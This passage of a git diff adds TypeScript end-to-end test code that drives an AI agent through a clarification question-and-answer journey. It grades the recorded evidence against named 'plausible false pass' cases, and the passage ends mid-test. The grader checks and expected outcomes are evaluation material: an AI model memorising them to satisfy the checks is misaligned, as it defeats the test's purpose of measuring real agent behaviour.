company: { id: "company" }, user: { id: "board" }, environmentId: "daytona", + agent: { id: "agent", provider: "opencode", model: "model", runtimeMode: "native" } } as JourneyContext; +function recording(paths: Array<"provider" | "semantic" | "api">) { + const runs: Row[] = [], cards: Row[] = [], checkpoints: any[] = []; + const createRun = (previous?: Row) => ({ id: `run-${runs.length}`, status: "running", runtimeMode: "native", companyId: "company", issueId: "task", agentId: "agent", + contextSnapshot: { paperclipEnvironment: { id: "daytona" }, ...(previous ? { issueId: "task", sourceRunId: previous.sourceRunId, + interactionId: previous.id, interactionKind: "ask_user_questions", interactionStatus: "answered" } : {}) }, + resultJson: { semanticToolReceipts: {} }, runnerProfileJson: { nativeExecutionInput: { task: { prompt: continuationScenario("question-answer-resume", "nonce").prompt }, provider: { kind: "opencode", model: "model" } } } }); + const document = { issueId: "task", companyId: "company", key: "welcome-note", latestRevisionId: "revision", createdByAgentId: "agent", updatedByAgentId: "agent", body: "Welcome to the afternoon meetup. Use AMBERnonce." }; + const snapshot = (phase: string) => checkpoints.push(structuredClone({ phase, + issue: { id: "task", companyId: "company", assigneeAgentId: "agent", status: phase === "final" ? "done" : "in_review" }, + runs, interactions: cards, children: [], attachments: [], comments: [], documents: phase === "final" ? [document] : [] })); + runs.push(createRun()); + for (const [index, path] of paths.entries()) { + const run = runs.at(-1)!; + const field = index === 0 ? { id: "choice", answerMode: "single_select", options: [{ id: "am", label: "Morning" }, { id: "pm", label: "Afternoon" }] } : { id: "reference", answerMode: "text" }; + const request = `request-${index}`, semantic = path !== "provider"; + const card: Row = { id: `question-${index}`, kind: "ask_user_questions", status: "pending", companyId: "company", issueId: "task", createdByAgentId: "agent", sourceRunId: run.id, + idempotencyKey: semantic ? `semantic-${index}` : `paperclip-runner-question:${run.id}:${request}`, continuationPolicy: semantic ? "wake_assignee" : "none", createdByUserId: null, + payload: { ...(semantic ? {} : { runtimeRequestId: request }), questionSet: { questions: [field] } } }; + cards.push(card); + if (semantic) { + run.status = "succeeded"; + if (path === "api") run.resultJson.apiToolReceipts = { ["a".repeat(64)]: { state: "completed", digest: "b".repeat(64), + operationId: "POST /api/issues/{id}/interactions", result: { ok: true, status: 201, + operationId: "POST /api/issues/{id}/interactions", data: structuredClone(card) } } }; + else run.resultJson.semanticToolReceipts[card.idempotencyKey] = { operationId: "request_human_input", result: { disposition: "applied", interaction: structuredClone(card) } }; + } + snapshot(index === 0 ? "initial" : "answered"); + card.status = "answered"; card.resolvedByUserId = "board"; + card.result = { answers: [{ questionId: field.id, optionIds: index === 0 ? ["pm"] : [], ...(index === 1 ? { otherText: "Use AMBERnonce." } : {}) }] }; + if (semantic) runs.push(createRun(card)); + } + runs.at(-1)!.status = "succeeded"; snapshot("final"); + return { checkpoints, readback: { issueId: "task", key: document.key, revisionId: document.latestRevisionId, body: document.body, visibleBody: document.body } }; +} +const failures = (f: ReturnType) => gradeClarificationEvidence(context, "task", "AMBERnonce", f.checkpoints, f.readback).filter(c => !c.passed); + +describe("attached clarification evidence", () => { + it.each([true, false])("rejects an incomplete API receipt instead of inferring native question evidence (choice=%s)", choice => { + const f = recording(["semantic", "semantic"]), point = f.checkpoints[choice ? 0 : 1]; + const question = point.interactions.find((i: Row) => i.status === "pending"), source = point.runs.at(-1); + source.resultJson = { apiToolReceipts: { call: { state: "completed", operationId: "POST /api/issues/{id}/interactions", + result: { ok: true, data: { id: question.id } } } } }; + expect(clarificationQuestionFailure(point, question, choice)).toBe(`clarification_${choice ? "choice" : "text"}_api_fallback`); + expect(failures(f).some(check => check.id === `question-resume.${choice ? "choice" : "text"}.path`)).toBe(true); + delete source.resultJson.apiToolReceipts; + expect(clarificationQuestionFailure(point, question, choice)).toBe(`clarification_${choice ? "choice" : "text"}_native_path_invalid`); + }); + it("distinguishes an invalid form from a correctly bound semantic question", () => { + const point = recording(["semantic", "semantic"]).checkpoints[0], question = point.interactions[0]; + expect(clarificationQuestionFailure(point, question, true)).toBeUndefined(); + question.payload.questionSet.questions[0].answerMode = "text"; + point.runs[0].resultJson.semanticToolReceipts[question.idempotencyKey].result.interaction.payload = structuredClone(question.payload); + expect(clarificationQuestionFailure(point, question, true)).toBe("clarification_choice_form_invalid"); + }); + it.each([["provider", "provider"], ["provider", "semantic"], ["semantic", "provider"], ["semantic", "semantic"], + ["api", "api"], ["api", "semantic"], ["semantic", "api"], ["provider", "api"], ["api", "provider"]] as const)("accepts the real %s/%s paths with native binding and reload proof", (...paths) => { + expect(failures(recording([...paths]))).toEqual([]); + }); + it.each(["foreign-user", "foreign-agent-document", "foreign-task-document", "lost-revision", "wrong-visible-answer", "changed-readback-body", "premature-document", "extra-child", "foreign-model", "foreign-environment", "missing-native-input", "duplicate-question", "wrong-answer"])("rejects a plausible false pass: %s", kind => { + for (const path of ["semantic", "api"] as const) { + const f = recording([path, path]), first = f.checkpoints[0], final = f.checkpoints[2]; + if (kind === "foreign-user") final.interactions[1].resolvedByUserId = "other-board"; + if (kind === "foreign-agent-document") final.documents[0].updatedByAgentId = "other-agent"; + if (kind === "foreign-task-document") final.documents[0].issueId = "other-task"; + if (kind === "lost-revision") f.readback.revisionId = "old-revision"; + if (kind === "wrong-visible-answer") f.readback.visibleBody = "Welcome to the morning meetup."; + if (kind === "changed-readback-body") f.readback.body += " changed"; + if (kind === "premature-document") first.documents = [final.documents[0]]; + if (kind === "extra-child") final.children.push({ id: "extra-child" }); + if (kind === "foreign-model") final.runs[0].runnerProfileJson.nativeExecutionInput.provider.model = "other-model"; + if (kind === "foreign-environment") final.runs[0].contextSnapshot.paperclipEnvironment.id = "local"; + if (kind === "missing-native-input") delete final.runs[0].runnerProfileJson.nativeExecutionInput.task.prompt; + if (kind === "duplicate-question") final.interactions.push(structuredClone(final.interactions[1])); + if (kind === "wrong-answer") final.interactions[1].result.answers[0].otherText = "Use the old reference."; + expect(failures(f).length).toBeGreaterThan(0); + } + }); + it("requires reload evidence even for a correct API document", () => { + const f = recording(["provider", "provider"]); + expect(gradeClarificationEvidence(context, "task", "AMBERnonce", f.checkpoints).some(c => c.id === "question-document-reloaded" && !c.passed)).toBe(true); + }); + it("retains 1–3 bound native runs but rejects zero and excess work", () => { + const result = { schema: "paperclip.runner-e2e.result/v2", executionId: "product-journeys.attached.configured-agent.daytona.question-answer-resume", suiteId: "product-journeys", suiteDefinitionHash: "definition", + attempt: 1, status: "passed", profileId: "configured-agent", environmentId: "daytona", caseId: "question-answer-resume", provider: "opencode", model: "model", runtimeMode: "native", + startedAt: "2026-10-01T00:00:00Z", finishedAt: "2026-10-01T00:00:01Z", durationMs: 1000, cleanup: "passed", runIds: ["run-0"], + productJourney: { targetId: "attached", outcome: "passed", startingState: "recipe", privacy: "private", resourceDisposition: "retained", + phases: [{ phase: "journey", outcome: "passed" }], checks: journeyRequiredChecks["question-answer-resume"]!.map(id => ({ id, passed: true })), + deployment: { kind: "cloud", targetId: "attached", origin: "https://example.test", commit: "a".repeat(40), cloudRelease: "b".repeat(40), runtimeImage: "immutable-image", configurationHash: "config" } } }; + for (const count of [1, 2, 3]) expect(() => validateRetainedRunnerResult({ ...result, runIds: Array.from({ length: count }, (_, i) => `run-${i}`) })).not.toThrow(); + for (const count of [0, 4]) expect(() => validateRetainedRunnerResult({ ...result, runIds: Array.from({ length: count }, (_, i) => `run-${i}`) })).toThrow("result.agentJourneyRun"); + }); +}); diff --git a/tests/runner-e2e/product-journeys/clarification-evidence.ts b/tests/runner-e2e/product-journeys/clarification-evidence.ts new file mode 100644 index 00000000000..69e39b7fa62 --- /dev/null +++ b/tests/runner-e2e/product-journeys/clarification-evidence.ts @@ -0,0 +1,57 @@ +import { gradeQuestionResume, questionPath, validResumeQuestionForm } from "../question-resume-scoring.js"; +import type { ContinuationCheckpoint } from "../continuation-scoring.js"; +import { validateAgentTaskState } from "./agent-flows.js"; +import type { JourneyContext } from "./types.js"; + +type Row = Record; +export interface ClarificationReadback { + issueId: string; key: string; revisionId: string; body: string; visibleBody: string; +} + +export function clarificationQuestionFailure(point: ContinuationCheckpoint, question: Row, choice: boolean) { + const stage = choice ? "choice" : "text"; + if (!questionPath(point, question)) { + const source = point.runs.find(run => run.id === question.sourceRunId) as Row | undefined; + const apiCreated = Object.values(source?.resultJson?.apiToolReceipts ?? {}).some(value => { + const receipt = value as Row; + return receipt.state === "completed" && receipt.operationId === "POST /api/issues/{id}/interactions" + && receipt.result?.ok === true && receipt.result?.data?.id === question.id; + }); + return apiCreated ? `clarification_${stage}_api_fallback` : `clarification_${stage}_native_path_invalid`; + } + return validResumeQuestionForm(point, question, choice) ? undefined : `clarification_${stage}_form_invalid`; +} + +export function gradeClarificationEvidence(context: JourneyContext, issueId: string, marker: string, + checkpoints: ContinuationCheckpoint[], readback?: ClarificationReadback) { + const checks = gradeQuestionResume(checkpoints, marker); + const final = checkpoints.find(point => point.phase === "final"); + const initial = checkpoints.filter(point => point.phase !== "final"); + const document = final?.documents[0] as Row | undefined; + let bound = !!context.agent && context.agent.runtimeMode === "native" && !!context.environmentId; + try { + for (const point of checkpoints) validateAgentTaskState(context, issueId, { + currentIssue: point.issue as Row & { id: string; status: string }, taskRuns: point.runs, + comments: point.comments as Row[], interactions: point.interactions as Array, attachments: [], + }, 3); + } catch { bound = false; } + checks.push({ id: "question-no-premature-output", passed: initial.length === 2 && initial.every(point => + point.documents.length === 0 && point.attachments.length === 0 && point.children.length === 0 && point.issue.status !== "done") + && !!final && final.issue.status === "done" && final.attachments.length === 0 && final.children.length === 0, + detail: "Wait for both real answers before producing the sole task document, with no extra task or download." }, + { id: "question-answers-owned-by-board", passed: !!final && final.interactions.length === 2 && final.interactions.every(value => { + const question = value as Row; + return question.status === "answered" && question.resolvedByUserId === context.user.id && !question.resolvedByAgentId; + }), detail: "Both retained responses must come from the signed-in board user." }, + { id: "question-document-attributed", passed: !!document && document.issueId === issueId && document.companyId === context.company.id + && document.createdByAgentId === context.agent?.id && document.updatedByAgentId === context.agent?.id, + detail: "The owned native agent created and last wrote the document on this exact task and company." }, + { id: "question-document-reloaded", passed: !!document && !!readback && readback.issueId === issueId + && readback.key === document.key && readback.revisionId === document.latestRevisionId && readback.body === document.body + && readback.visibleBody.includes(`Use ${marker}.`) && /\bafternoon\b/i.test(readback.visibleBody), + detail: "The reloaded document must show both saved answers at the independently read revision." }, + { id: "configured-model-and-environment", passed: bound && checkpoints.length === 3 && !!final + && final.runs.length >= 1 && final.runs.length <= 3 && final.runs.every(run => run.status === "succeeded"), + detail: "Every observed run belongs to the configured native agent, task, company, model and environment." }); + return checks; +} diff --git a/tests/runner-e2e/product-journeys/clarification-flow.test.ts b/tests/runner-e2e/product-journeys/clarification-flow.test.ts new file mode 100644 index 00000000000..97711ca526a --- /dev/null +++ b/tests/runner-e2e/product-journeys/clarification-flow.test.ts @@ -0,0 +1,35 @@ +import { expect, it, vi } from "vitest"; +import { readClarificationState } from "./clarification-flow.js"; +import type { JourneyContext } from "./types.js"; + +const issueId = "11111111-1111-4111-8111-111111111111"; +const companyId = "22222222-2222-4222-8222-222222222222"; +const parent = { id: issueId, companyId, parentId: null, assigneeAgentId: "agent", status: "in_progress" }; +const child = { id: "child", companyId, parentId: issueId }; +function fixture(rows = [parent, child]) { + const get = vi.fn(async (route: string) => { + const url = new URL(route, "https://qa.example.test"); + if (url.pathname === `/api/companies/${companyId}/issues`) { + if (url.searchParams.get("view") !== "index") throw Error("unsupported child projection"); + return rows.filter(row => row.parentId === url.searchParams.get("parentIds")); + } + if (url.pathname === `/api/issues/${issueId}`) return parent; + return []; + }); + const context = { company: { id: companyId }, environmentId: "daytona", api: { get }, + agent: { id: "agent", provider: "opencode", model: "model", runtimeMode: "native" } } as unknown as JourneyContext; + return { context, get }; +} +it("reads the supported child projection while excluding the journey task and unrelated company work", async () => { + const { context, get } = fixture([parent, child, { id: "unrelated", companyId, parentId: "other" }]); + expect((await readClarificationState(context, issueId)).children).toEqual([child]); + expect(get).toHaveBeenCalledWith(`/api/companies/${companyId}/issues?view=index&parentIds=${issueId}&limit=2`); +}); +it("retains an empty child result for a task that did not delegate work", async () => { + expect((await readClarificationState(fixture([parent]).context, issueId)).children).toEqual([]); +}); +it.each([{ ...child, companyId: "other" }, { ...child, parentId: "other" }])("rejects a returned child outside the owned company or task", async foreign => { + const { context, get } = fixture(); + get.mockImplementation(async route => route.includes("/companies/") ? [foreign] : route === `/api/issues/${issueId}` ? parent : []); + await expect(readClarificationState(context, issueId)).rejects.toMatchObject({ code: "clarification_child_query_mismatch" }); +}); diff --git a/tests/runner-e2e/product-journeys/clarification-flow.ts b/tests/runner-e2e/product-journeys/clarification-flow.ts new file mode 100644 index 00000000000..932efbebf92 --- /dev/null +++ b/tests/runner-e2e/product-journeys/clarification-flow.ts @@ -0,0 +1,110 @@ +import { mkdir, writeFile } from "node:fs/promises"; +import path from "node:path"; +import { expect } from "@playwright/test"; +import { continuationScenario } from "../continuation-cases.js"; +import { continuationAnswerCommitted, continuationCheckpointReady } from "../continuation-readiness.js"; +import type { ContinuationCheckpoint } from "../continuation-scoring.js"; +import { answerResumeQuestionThroughUi } from "../question-resume-ui.js"; +import { createTaskThroughUi } from "../user-actions.js"; +import { validateAgentTaskState } from "./agent-flows.js"; +import { clarificationQuestionFailure, gradeClarificationEvidence, type ClarificationReadback } from "./clarification-evidence.js"; +import { JourneyError, type JourneyContext, type JourneyEvidence, type TargetSession } from "./types.js"; + +type Row = Record; +interface Options { deadlineAt: number; directory: string; capture(id: string, label: string, file: string): Promise } + +export async function readClarificationState(context: JourneyContext, issueId: string) { + const route = `/api/issues/${issueId}`; + const [currentIssue, summaries, interactions, documents, attachments, children] = await Promise.all([ + context.api.get(route), context.api.get(`${route}/runs`), context.api.get(`${route}/interactions`), + context.api.get(`${route}/documents`), context.api.get(`${route}/attachments`), + context.api.get(`/api/companies/${context.company.id}/issues?view=index&parentIds=${encodeURIComponent(issueId)}&limit=2`), + ]); + if (!Array.isArray(summaries) || summaries.length > 3) throw new JourneyError("failed", "clarification_run_limit_exceeded"); + const runs = await Promise.all(summaries.map(summary => context.api.get(`/api/heartbeat-runs/${summary.runId}`))); + validateAgentTaskState(context, issueId, { currentIssue: currentIssue as Row & { id: string; status: string }, + taskRuns: runs as Array, interactions: interactions as Array, comments: [], attachments: [] }, 3); + if (!Array.isArray(children) || children.some(child => child.parentId !== issueId || child.companyId !== context.company.id)) { + throw new JourneyError("failed", "clarification_child_query_mismatch"); + } + return { currentIssue, runs, interactions, documents, attachments, children }; +} + +export async function runClarificationJourney(context: JourneyContext, session: TargetSession, + campaignId: string, evidence: JourneyEvidence, options: Options) { + if (!context.agent || context.agent.runtimeMode !== "native" || !context.environmentId) { + throw new JourneyError("unsupported", "native_agent_and_environment_required"); + } + const agent = context.agent, scenario = continuationScenario("question-answer-resume", campaignId.replaceAll("-", "_")); + const checkpoints: ContinuationCheckpoint[] = []; + let issue: Row | undefined, readback: ClarificationReadback | undefined; + await mkdir(options.directory, { recursive: true, mode: 0o700 }); + const retain = (name: string, value: unknown) => writeFile(path.join(options.directory, name), JSON.stringify(value, null, 2), { mode: 0o600 }); + const read = () => readClarificationState(context, issue!.id); + const settle = async (answeredId?: string, final = false) => { + let stable = ""; + while (Date.now() < options.deadlineAt) { + const state = await read(); + const pending = state.interactions.filter(i => i.kind === "ask_user_questions" && i.status === "pending"); + const ready = continuationAnswerCommitted(state.interactions, answeredId) + && continuationCheckpointReady({ issue: state.currentIssue as { status: string; executionRunId?: string }, runs: state.runs as Array, interactions: state.interactions }) + && (final ? state.currentIssue.status === "done" && !pending.length : pending.length === 1) + && !state.currentIssue.scheduledRetry && !state.currentIssue.activeRecoveryAction; + const key = ready ? JSON.stringify([state.currentIssue.status, state.currentIssue.executionRunId, + state.runs.map(run => [run.id, run.status]), state.interactions.map(i => [i.id, i.status])]) : ""; + if (key && key === stable) return state; + stable = key; + await new Promise(resolve => setTimeout(resolve, 1000)); + } + throw new JourneyError("failed", final ? "clarification_not_completed" : "clarification_question_not_ready"); + }; + const open = () => context.page.goto(`${context.api.origin}/${encodeURIComponent(context.company.issuePrefix)}/issues/${encodeURIComponent(issue!.identifier ?? issue!.id)}`, { waitUntil: "domcontentloaded" }); + const snapshot = async (phase: "initial" | "answered" | "final", state: Awaited>) => { + const documents = await Promise.all(state.documents.map(document => context.api.get(`/api/issues/${issue!.id}/documents/${encodeURIComponent(document.key)}`))); + const point = { phase, issue: state.currentIssue, runs: structuredClone(state.runs), interactions: structuredClone(state.interactions), + documents, attachments: state.attachments, children: state.children, comments: [] } as unknown as ContinuationCheckpoint; + checkpoints.push(point); + await retain("clarification.json", { checkpoints }); + await open(); + await options.capture(phase, `Clarification ${phase}`, `clarification-${phase}.png`); + return point; + }; + try { + const title = `Journey QA question-answer-resume ${campaignId}`; + const created = await createTaskThroughUi({ page: context.page, origin: context.api.origin, + issuePrefix: context.company.issuePrefix, agentName: agent.name, title, prompt: scenario.prompt, + workMode: "standard", requireExplicitTitle: true, + beforeDispatch: () => session.own({ kind: "issue", name: title, journeyId: "question-answer-resume" }) }); + await session.own({ kind: "issue", name: title, id: created.issueId, journeyId: "question-answer-resume" }); + issue = await context.api.get(`/api/issues/${created.issueId}`); + let state = await settle(); + for (const [index, input] of [{ choice: "Afternoon" }, { text: scenario.answer }].entries()) { + const point = await snapshot(index === 0 ? "initial" : "answered", state); + const question = state.interactions.find(i => i.kind === "ask_user_questions" && i.status === "pending")!; + const questionFailure = clarificationQuestionFailure(point, question, index === 0); + if (questionFailure) throw new JourneyError("failed", questionFailure); + if (point.documents.length || point.attachments.length || point.children.length || point.issue.status === "done") { + throw new JourneyError("failed", "clarification_premature_output"); + } + await answerResumeQuestionThroughUi(context.page, question, input); + state = await settle(question.id, index === 1); + } + const final = await snapshot("final", state); + if (final.documents.length !== 1) throw new JourneyError("failed", "clarification_document_missing"); + const document = final.documents[0]!; + const href = `/${encodeURIComponent(context.company.issuePrefix)}/issues/${encodeURIComponent(issue.identifier ?? issue.id)}#document-${encodeURIComponent(document.key)}`; + await context.page.goto(new URL(href, context.api.origin).href, { waitUntil: "domcontentloaded" }); + await context.page.reload({ waitUntil: "domcontentloaded" }); + const visible = context.page.locator(`[id=${JSON.stringify(`document-${document.key}`)}]:visible, [id=${JSON.stringify(`side-panel-content-document:${document.key}`)}]:visible`); + await expect(visible).toHaveCount(1); await expect(visible).toBeVisible(); + await expect(visible).toContainText(scenario.answer); await expect(visible).toContainText(/afternoon/i); + const persisted = await context.api.get(`/api/issues/${issue.id}/documents/${encodeURIComponent(document.key)}`); + readback = { issueId: persisted.issueId, key: persisted.key, revisionId: persisted.latestRevisionId, body: persisted.body, visibleBody: await visible.innerText() }; + await options.capture("reloaded", "Saved answers after reload", "clarification-reloaded.png"); + } finally { + const checks = gradeClarificationEvidence(context, issue?.id ?? "", scenario.marker, checkpoints, readback); + evidence.checks.push(...checks.map(({ id, passed }) => ({ id, passed }))); + await retain("clarification.json", { checkpoints, readback, checks }); + } + if (evidence.checks.some(check => !check.passed)) throw new JourneyError("failed", "clarification_evidence_failed"); +} diff --git a/tests/runner-e2e/product-journeys/launch.ts b/tests/runner-e2e/product-journeys/launch.ts index aa65ce9b560..4be973f1e81 100644 --- a/tests/runner-e2e/product-journeys/launch.ts +++ b/tests/runner-e2e/product-journeys/launch.ts @@ -6,13 +6,15 @@ import path from "node:path"; import { pathToFileURL } from "node:url"; import { chromium, type Browser, type BrowserContext } from "@playwright/test"; import { runnerSuites } from "../catalog.js"; -import { productJourneys, parseTargetConfig, preparationPreview, isAgentJourney, agentJourneyRuns } from "./catalog.js"; +import { productJourneys, parseTargetConfig, preparationPreview, isAgentJourney } from "./catalog.js"; +import { agentJourneyRunCountValid } from "./success-contract.js"; import { journeyFixtures } from "./fixtures.js"; import { taskProperties } from "./task-properties.js"; import { taskSearchFilter } from "./task-search-filter.js"; import { askQuestion, taskCreate } from "./basic-flows.js"; import { projectTaskContext } from "./project-context-flow.js"; import { runAgentJourney } from "./agent-flows.js"; +import { runClarificationJourney } from "./clarification-flow.js"; import { JourneyError, type JourneyContext, type JourneyEvidence, type JourneyOutcome, type TargetLifecycleInput, type TargetProvider, type TargetSession } from "./types.js"; import type { RunnerE2EResult } from "../types.js"; import { regenerateRunnerDashboard } from "../dashboard-regenerate.js"; @@ -104,7 +106,7 @@ export async function launchProductJourneys(args: string[], repositoryRoot: stri try { sha = execFileSync("git", ["rev-parse", "HEAD"], { cwd: repositoryRoot, encoding: "utf8", stdio: ["ignore", "pipe", "ignore"] }).trim(); } catch { /* Packaged harnesses may not include Git metadata. */ } const source = resolveRunnerE2ESource({ sha, ref: null, workflowRunUrl: null }); const definitionHash = createHash("sha256").update(JSON.stringify(productJourneys)); - for (const name of ["catalog.ts", "task-properties.ts", "task-search-filter.ts", "task-search-evidence.ts", "basic-flows.ts", "basic-evidence.ts", "project-context-flow.ts", "project-context-readback.ts", "project-context-evidence.ts", "agent-flows.ts", "success-contract.ts", "product-screenshot.ts", "cloud-onboarding.ts", "onboarding-connect.ts", "onboarding-first-task.ts", "workspace-deferral.ts", "onboarding-pre-acceptance.ts", "artifact-evidence.ts", "fixtures.ts", "launch.ts", "types.ts", "collection.ts", "local-target.ts"]) definitionHash.update(await readFile(path.join(import.meta.dirname, name))); + for (const name of ["catalog.ts", "task-properties.ts", "task-search-filter.ts", "task-search-evidence.ts", "basic-flows.ts", "basic-evidence.ts", "project-context-flow.ts", "project-context-readback.ts", "project-context-evidence.ts", "agent-flows.ts", "clarification-flow.ts", "clarification-evidence.ts", "../question-resume-ui.ts", "../question-resume-scoring.ts", "../runtime-question-readiness.ts", "../chat-flow.ts", "../continuation-readiness.ts", "../continuation-cases.ts", "success-contract.ts", "product-screenshot.ts", "cloud-onboarding.ts", "onboarding-connect.ts", "onboarding-first-task.ts", "workspace-deferral.ts", "onboarding-pre-acceptance.ts", "artifact-evidence.ts", "fixtures.ts", "launch.ts", "types.ts", "collection.ts", "local-target.ts"]) definitionHash.update(await readFile(path.join(import.meta.dirname, name))); for (const file of ["catalog.ts", "api.ts", "run-observations.ts", "native-task-reply.ts", "native-event-envelope.ts", "user-actions.ts", "plan-revision-flow.ts", "skill-studio-flow.ts", "protected-action-flow.ts", "story-artifact.ts", "stop-redirect-flow.ts", "everyday-cases.ts", "everyday-delivery.ts", "everyday-decisions.ts", "connection-guidance-evidence.ts", "everyday-artifact.py"]) definitionHash.update(await readFile(path.join(import.meta.dirname, "..", file))); definitionHash.update(runnerSuites.flatMap(suite => suite.tasks).find(task => task.id === "ask-question")!.buildPrompt("definition")); const suiteDefinitionHash = definitionHash.digest("hex"); @@ -201,12 +203,19 @@ export async function launchProductJourneys(args: string[], repositoryRoot: stri result.model = ready.agent.model; result.runtimeMode = ready.agent.runtimeMode; if (id === "ask-question") await askQuestion(ready, session!, campaignId, evidence); + else if (id === "question-answer-resume") await runClarificationJourney(ready, session!, campaignId, evidence, { deadlineAt, + directory: path.join(outputDir, "private-stories", id), + capture: async (_id, _label, file) => { + const directory = path.join(outputDir, "private-stories", id); + await mkdir(directory, { recursive: true, mode: 0o700 }); + await captureProductScreenshot(ready!.page, ready!.api.origin, path.join(directory, file), deadlineAt); + } }); else await runAgentJourney(id, ready, session!, campaignId, evidence, { deadlineAt, directory: path.join(outputDir, "private-stories", id), capture: async (_id, _label, file) => { const directory = path.join(outputDir, "private-stories", id); await mkdir(directory, { recursive: true, mode: 0o700 }); - await captureProductScreenshot(ready!.page, ready!.api.origin, path.join(directory, file)); + await captureProductScreenshot(ready!.page, ready!.api.origin, path.join(directory, file), deadlineAt); } }); } else if (id === "task-create") await taskCreate(ready, session!, campaignId, evidence); else if (id === "project-task-context") await projectTaskContext(ready, session!, campaignId, evidence); @@ -221,7 +230,7 @@ export async function launchProductJourneys(args: string[], repositoryRoot: stri result.status = "passed"; const evidenceDir = path.join(outputDir, "evidence", result.executionId, "attempt-1"); await mkdir(evidenceDir, { recursive: true, mode: 0o700 }); - await captureProductScreenshot(ready.page, ready.api.origin, path.join(evidenceDir, `${id}.png`)); + await captureProductScreenshot(ready.page, ready.api.origin, path.join(evidenceDir, `${id}.png`), deadlineAt); result.screenshots = [{ id, label: productJourneys.find(j => j.id === id)!.label, file: `${id}.png` }]; } catch (error) { const failure = journeyFailure(error); @@ -237,7 +246,7 @@ export async function launchProductJourneys(args: string[], repositoryRoot: stri if (url.origin === ready.api.origin && /^\/[^/]+\/(issues|search)(\/|$)/.test(url.pathname)) { const evidenceDir = path.join(outputDir, "evidence", result.executionId, "attempt-1"); await mkdir(evidenceDir, { recursive: true, mode: 0o700 }); - await captureProductScreenshot(ready.page, ready.api.origin, path.join(evidenceDir, `${id}-failed.png`)); + await captureProductScreenshot(ready.page, ready.api.origin, path.join(evidenceDir, `${id}-failed.png`), deadlineAt); result.screenshots = [{ id: `${id}-failed`, label: "Failed journey screen", file: `${id}-failed.png` }]; } } catch { /* Preserve the original failure when its page is unavailable. */ } @@ -265,7 +274,7 @@ export async function launchProductJourneys(args: string[], repositoryRoot: stri } for (const result of results) { if (isAgentJourney(result.caseId as import("./types.js").JourneyId) && result.status === "passed" - && (!seen.has(result.caseId) || result.runIds?.length !== agentJourneyRuns[result.caseId as keyof typeof agentJourneyRuns])) throw new JourneyError("failed", "paid_journey_receipt_missing"); + && (!seen.has(result.caseId) || !agentJourneyRunCountValid(result.caseId, result.runIds?.length))) throw new JourneyError("failed", "paid_journey_receipt_missing"); if (result.caseId === "cloud-onboarding" && result.status === "passed" && (!seen.has(result.caseId) || !result.runIds?.length || !result.productJourney?.operations || !result.productJourney.operations.traceIds.length)) throw new JourneyError("failed", "paid_journey_receipt_missing"); // Success-only checks must run before a disposable target can be deleted. // Cleanup is provisional here; the observed cleanup result is retained below. diff --git a/tests/runner-e2e/product-journeys/product-screenshot.test.ts b/tests/runner-e2e/product-journeys/product-screenshot.test.ts index 9d1cfd911cb..37f079e6a4f 100644 --- a/tests/runner-e2e/product-journeys/product-screenshot.test.ts +++ b/tests/runner-e2e/product-journeys/product-screenshot.test.ts @@ -1,20 +1,63 @@ -import { describe, expect, it, vi } from "vitest"; +import { afterEach, describe, expect, it, vi } from "vitest"; import type { Page } from "@playwright/test"; import { captureProductScreenshot } from "./product-screenshot.js"; +const origin = "https://qa.example.test"; +afterEach(() => vi.restoreAllMocks()); +function fixture(options: { mounted?: boolean; redirect?: string; afterMount?(): void } = {}) { + let mounted = false, url = `${origin}/QA/issues/QA-1`; + const screenshot = vi.fn(async (_input: { path: string; timeout: number }) => {}); + const waitFor = vi.fn(async (_input: { state: string; timeout: number }) => { mounted = options.mounted !== false; if (options.redirect) url = options.redirect; options.afterMount?.(); }); + const locator = vi.fn(() => ({ waitFor, isVisible: async () => mounted, screenshot })); + const page = { url: () => url, locator } as unknown as Page; + return { page, locator, waitFor, screenshot }; +} describe("product screenshot boundary", () => { - it("excludes a sign-in screen rendered at an unchanged task URL", async () => { - const screenshot = vi.fn(); - const page = { url: () => "https://qa.example.test/QA/issues/QA-1", locator: () => ({ isVisible: async () => false, screenshot }) } as unknown as Page; - await expect(captureProductScreenshot(page, "https://qa.example.test", "shot.png")).rejects.toThrow("product_screen_unavailable"); - expect(screenshot).not.toHaveBeenCalled(); + it("waits for Layout to mount after the document navigation completes", async () => { + const f = fixture(); + await captureProductScreenshot(f.page, origin, "shot.png"); + expect(f.locator).toHaveBeenCalledWith("main#main-content"); + expect(f.waitFor).toHaveBeenCalledWith({ state: "visible", timeout: expect.any(Number) }); + expect(f.screenshot).toHaveBeenCalledTimes(1); + expect(f.waitFor.mock.invocationCallOrder[0]).toBeLessThan(f.screenshot.mock.invocationCallOrder[0]!); }); - it("captures only the signed-in product region and refuses other origins", async () => { - const screenshot = vi.fn(), locator = vi.fn(() => ({ isVisible: async () => true, screenshot })); - const page = { url: () => "https://qa.example.test/QA/issues/QA-1", locator } as unknown as Page; - await captureProductScreenshot(page, "https://qa.example.test", "shot.png"); - expect(locator).toHaveBeenCalledWith("main#main-content"); expect(screenshot).toHaveBeenCalledTimes(1); - await expect(captureProductScreenshot(page, "https://other.example.test", "shot.png")).rejects.toThrow("product_screen_unavailable"); - expect(screenshot).toHaveBeenCalledTimes(1); + it("excludes a sign-in screen rendered at an unchanged task URL", async () => { + const f = fixture({ mounted: false }); + await expect(captureProductScreenshot(f.page, origin, "shot.png")).rejects.toThrow("product_screen_unavailable"); + expect(f.screenshot).not.toHaveBeenCalled(); + }); + it("rejects a product region that never mounts", async () => { + const f = fixture(); f.waitFor.mockRejectedValueOnce(new Error("Timeout")); + await expect(captureProductScreenshot(f.page, origin, "shot.png")).rejects.toThrow("product_screen_unavailable"); + expect(f.screenshot).not.toHaveBeenCalled(); + }); + it.each([`${origin}/login`, "https://other.example.test/QA/issues/QA-1"])("excludes a redirect during readiness to %s", async redirect => { + const f = fixture({ redirect }); + await expect(captureProductScreenshot(f.page, origin, "shot.png")).rejects.toThrow("product_screen_unavailable"); + expect(f.screenshot).not.toHaveBeenCalled(); + }); + it("refuses another origin before waiting or taking a screenshot", async () => { + const f = fixture(); + await expect(captureProductScreenshot(f.page, "https://other.example.test", "shot.png")).rejects.toThrow("product_screen_unavailable"); + expect(f.waitFor).not.toHaveBeenCalled(); expect(f.screenshot).not.toHaveBeenCalled(); + }); + it("bounds readiness and capture by the campaign deadline", async () => { + vi.spyOn(Date, "now").mockReturnValue(1000); + const f = fixture(); + await captureProductScreenshot(f.page, origin, "shot.png", 1050); + for (const call of [f.waitFor.mock.calls[0], f.screenshot.mock.calls[0]]) { + expect((call?.[0] as { timeout: number }).timeout).toBeGreaterThan(0); + expect((call?.[0] as { timeout: number }).timeout).toBeLessThanOrEqual(50); + } + }); + it("does not capture after readiness consumes the remaining deadline", async () 